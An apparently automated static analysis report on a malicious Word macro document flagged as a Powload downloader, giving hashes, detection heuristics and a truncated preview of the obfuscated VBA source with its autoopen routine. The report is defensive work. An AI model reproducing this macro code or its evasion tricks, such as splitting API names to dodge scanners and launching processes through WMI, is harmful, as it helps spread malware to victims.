Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 904fcc5fd5f07449…

MALICIOUS

Office (OLE)

184.2 KB Created: 2019-04-26 02:36:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 42b2eeeee97494733031def0579aa46b SHA-1: d3c43a9e2067fc5df1ea8d5746dc9614c7cb4d8b SHA-256: 904fcc5fd5f07449760e4eae50da866a3801615edc1504774b2e9461d7c74ddc
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an autoopen subroutine, which is a common technique for executing malicious code upon opening a document. The macro utilizes GetObject and CreateObject to launch the Win32_Process service, indicating an attempt to execute arbitrary commands or download additional payloads. The obfuscation of 'winmgmts' via string splitting is a clear indicator of malicious intent. ClamAV also detected this as a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Powload-6956274-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6956274-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36841 bytes
SHA-256: a83906a8c567aa6f9af7bf4cc377a41340467a45f4191605490e52cfbb982b09
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZZBwxD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cAAAQA"
Attribute VB_Base = "0{1B463405-9356-4388-8D57-CAE06CB16D7F}{581FE4FC-C4DD-4C46-BED5-8155F02BB9C5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YXDXADQ"
Attribute VB_Base = "0{38AC6D8C-8524-419C-97A4-5BDDEF475B9F}{F8E4F342-5FAD-4C17-90F9-7F6EA5E608F4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "EUAXXDU"
Sub autoopen()
   If JUxA_U = HAQB44 Then
ElseIf TZ_BA_ZD _
= jBAADB Then
            OA41AG = Cos( _
842148233)
ElseIf tDcAUAAB = iAUXABAx Then
            RBCoU1 _
= Hex(651591354)
ElseIf SQAAGA = OCQ_cZC Then
            dAcAUACc = Atn( _
456912470)
ElseIf EAUGDA = sQABAA Then
End If
   If fXZQ4k = iAwk_G Then
ElseIf LQkCxAD _
= sBGoAGGB Then
            RAxAC4 = Cos( _
22939795)
ElseIf XcQU_ABw = IAkAAA1U Then
            UQBxBQ_ _
= Hex(204192538)
ElseIf Rc_AAQ = K_A_cB Then
            LAwoGXQ = Atn( _
279175081)
ElseIf VQkUCAAB = wBwAGA Then
End If
WxAQDA14
   If BBwQ11X = OAADGZGD Then
ElseIf OAU41A _
= KADDXGD Then
            p1AAAUB = Cos( _
221732607)
ElseIf uoxDB4A = QCAoABc1 Then
            WAcQDoAQ _
= Hex(934765426)
ElseIf IUX1AQX = mUZAB_ Then
            hUDkU1G = Atn( _
481580152)
ElseIf v_QAoCw = m4D1AXB Then
End If
   If VAAD4w = qQCAAxDk Then
ElseIf o14AAD _
= wD__AU Then
            oGwA_xcA = Cos( _
826103331)
ElseIf TGQG4Q = VGDxAUU Then
            TAcBoBwG _
= Hex(892309940)
ElseIf nABwAAxZ = sUUxBcUG Then
            DAAGZBQ = Atn( _
487591842)
ElseIf AUX14Dk = cUokAZA1 Then
End If
   If kBA4AB = noUAAo Then
ElseIf u1BBAGB _
= nUkZQA Then
            JAAcGXcA = Cos( _
763948191)
ElseIf jkDBBBZ = N_xUXB Then
            OGcAxBoD _
= Hex(740174071)
ElseIf FBUAA1 = iABG1AA4 Then
            XQDAkokA = Atn( _
412361144)
ElseIf LZBAAU = UQAxG4U Then
End If
End Sub
Function JcCAAXA(SXQACBD)
   If jXxwAQA = zACBwcxc Then
ElseIf CUAGoAxw _
= W4QAAQAQ Then
            AGAAAAAC = Cos( _
832306129)
ElseIf r_xAAcQ = RB1AQD Then
            kGQAZGGD _
= Hex(483102689)
ElseIf jkAUwk4k = uBAAXZ Then
            Hw_xAAA = Atn( _
252865825)
ElseIf pDAQDU = OAAAAw Then
End If
   If cBUAA_Ac = pAX1CDX Then
ElseIf PAxAAA _
= DAU1UU Then
            VAUX1G4A = Cos( _
804083139)
ElseIf GAxDUG = JQZABQ Then
            LQDDAo _
= Hex(509650185)
ElseIf pXQAkQQ = o4AGG4CD Then
            vUBAAA = Atn( _
387462325)
ElseIf cAAk__A = jAAcABA4 Then
End If
   If FBcABQD = Y1CBcAZc Then
ElseIf awUwcA _
= mCA1AA Then
            jUBGUAoc = Cos( _
370375549)
ElseIf UAAABZQ = UAc1CU Then
            FXA1UwA _
= Hex(775165980)
ElseIf uUAAoBo = zAXQAG Then
            OUAUUXD = Atn( _
855690371)
ElseIf MGBABA = NCA_AAA_ Then
End If
Set JcCAAXA = CVar(SXQACBD)
   If T4wDkAC_ = GQUDDAA Then
ElseIf J_DXoo _
= r_ADAB Then
            XA4cwUGA = Cos( _
785551230)
ElseIf bAQw1AA = AUAwAGD Then
            HAwQw4 _
= Hex(291757774)
ElseIf w_A4UAQQ = L4AAUB Then
            PUXQ4A = Atn( _
418814616)
ElseIf GQAACcAU = VcAGAAQ Then
End If
   If PcDXAZ = cBAAZA Then
ElseIf X_DABx _
= hwAD_DD_ Then
            i_wDABx = Cos( _
858903728)
ElseIf mxAAkA4 = IZAGXQ Then
            sA_Z4cBA _
= Hex(393676962)
ElseIf qAAUwo = aDc1ZBA Then
            UAxAcA = Atn( _
147883218)
ElseIf wAxo1UA = CAQAQxA Then
End If
   If GGXBGAU = iACAA_xA Then
ElseIf nAAAUwA _
= AAAAG_ Then
            LBokAA1A = Cos( _
996351373)
ElseIf cU4B1ZA = a_
... (truncated)

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